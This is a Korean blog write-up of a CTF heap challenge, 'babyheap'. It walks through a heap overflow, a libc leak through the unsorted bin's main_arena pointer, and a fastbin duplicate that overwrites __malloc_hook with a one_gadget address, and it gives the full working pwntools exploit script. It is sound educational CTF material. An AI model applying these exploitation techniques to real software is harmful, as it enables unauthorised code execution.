티스토리 뷰

거의 2년전에 알았던 문젠데 이제야 풀다니..

Summary

  • main_arena+88(unsorted bin) leak
  • fastbin duplicate

Analysis

분석을 해보면 mmap으로 매핑된 주소에서 힙 청크들을 관리한다.

  • Allocate
    • size입력 받은 만큼 메모리 할당
  • fill
    • 할당 된 버퍼에 write 할 수 있다.
    • size컨트롤이 가능해 heap overflow취약점이 발생한다.
  • free
    • 메모리 해제
  • dump
    • 할당된 청크의 적힌 데이터를 볼 수 있다.

Iibc leak

  • fastchunk 4개 할당(0x20)(idx 0~3)
  • smallchunk 1개 할당(0x80)(idx 4)
  • free(1)
  • free(2)
  • fill(0)에서 fastchunk(2)의 fd를 smallchunk의 위치로 1byte overflow
  • fill(3)에서 overflow해 smallchunk의 size를 0x91에서 0x31로 overwrite
  • alloc 2번 하면 idx 2가 smallchunk의 위치에 할당됨. (idx 2, idx 4가 같은 위치)
  • fill(3)에서 overflow해 smallchunk의 size를 0x31에서 0x91로 overwrite
  • chunk 하나를 더 allocate해서 idx 4를 프리해도 fd bk가 남아있을 수 있도록.(그냥 두면 스몰빈과 라지빈은 통합됨.)
  • free(4) 이제 4의 위치에는 main_arena+88을 가르키는 fd와 bk가 있음.
  • 하지만 idx 2도 그 위치를 가르키고 있기때문에 dump(2)하면 libc leak 가능.

Exploit

마찬가지로 bin을 잘 조작해서 &__malloc_hook-35 위치에 0x68할당해주고 overwrite해주면 된다.

시나리오는 다양해서 bin만 잘 조작하면 된다.

&__malloc_hook-35에 덮는 이유는 fastbin 할당할 때 size검사를 하게 되는데 -35위치에 할당하면 size가 0x7f로 세팅되어있다.

그래서 0x60이나 0x68 등으로 할당해주면 된다.

( tcachebin은 size체크 루틴이 빠졌기 때문에 &__malloc_hook위치에 바로 할당해주면 될듯.)

익스코드는 더럽지만 의식의 흐름대로 익스했다..

from pwn import *


p = process("./babyheap")
#context.log_level='debug'
malloc_hook = 0x3c4b10

def alloc(size):
    p.recvuntil("Command: ")
    p.sendline("1")
    p.recvuntil("Size: ")
    p.sendline(str(size))

def fill(index,size,data):
    p.recvuntil("Command: ")
    p.sendline("2")
    p.recvuntil("Index: ")
    p.sendline(str(index))
    p.recvuntil("Size: ")
    p.sendline(str(size))
    p.recvuntil("Content: ")
    p.sendline(str(data))

def free(index):
    p.recvuntil("Command: ")
    p.sendline("3")
    p.recvuntil("Index: ")
    p.sendline(str(index))

def dump(index):
    p.recvuntil("Command: ")
    p.sendline("4")
    p.recvuntil("Index: ")
    p.sendline(str(index))

alloc(0x20) #0
alloc(0x20) #1
alloc(0x20) #2
alloc(0x20) #3
alloc(0x80) #4

free(1)
free(2)

payload = p64(0)*5
payload += p64(0x31)
payload += p64(0)*5
payload += p64(0x31)
payload += p8(0xc0)

fill(0,len(payload),payload)

payload = p64(0)*5
payload += p64(0x31)

fill(3, len(payload), payload)

alloc(0x20)
alloc(0x20) #same 2, 4

payload = p64(0)*5
payload += p64(0x91)

fill(3, len(payload), payload)

alloc(0x80) #5
alloc(0x80) #6
alloc(0x80) #7

free(4)
free(6)

dump(2)

p.recvline()

main_arena = u64(p.recv(8))
heap_base = u64(p.recv(8)) - 0x1e0

libc_base = main_arena - 0x3c4b78
print(hex(libc_base))
print(hex(heap_base))
one_shot = libc_base + 0x4526a
malloc_hook = libc_base + malloc_hook

alloc(0x80)
alloc(0x80)

alloc(0x68)#8
alloc(0x68)#9
alloc(0x68)#10

free(9)
free(10)

payload = p64(0)*13
payload += p64(0x71)
payload += p64(0)*13
payload += p64(0x71)
payload += p64(malloc_hook-35) #fd overwrite

fill(8, len(payload), payload)

alloc(0x68) #9
alloc(0x68) #10 #malloc_hook

payload = "\x00\x00\x00"+p64(0)*2+p64(one_shot)
fill(10, len(payload), payload) #one shot overwrite

alloc(0xffff)
p.interactive()
Comments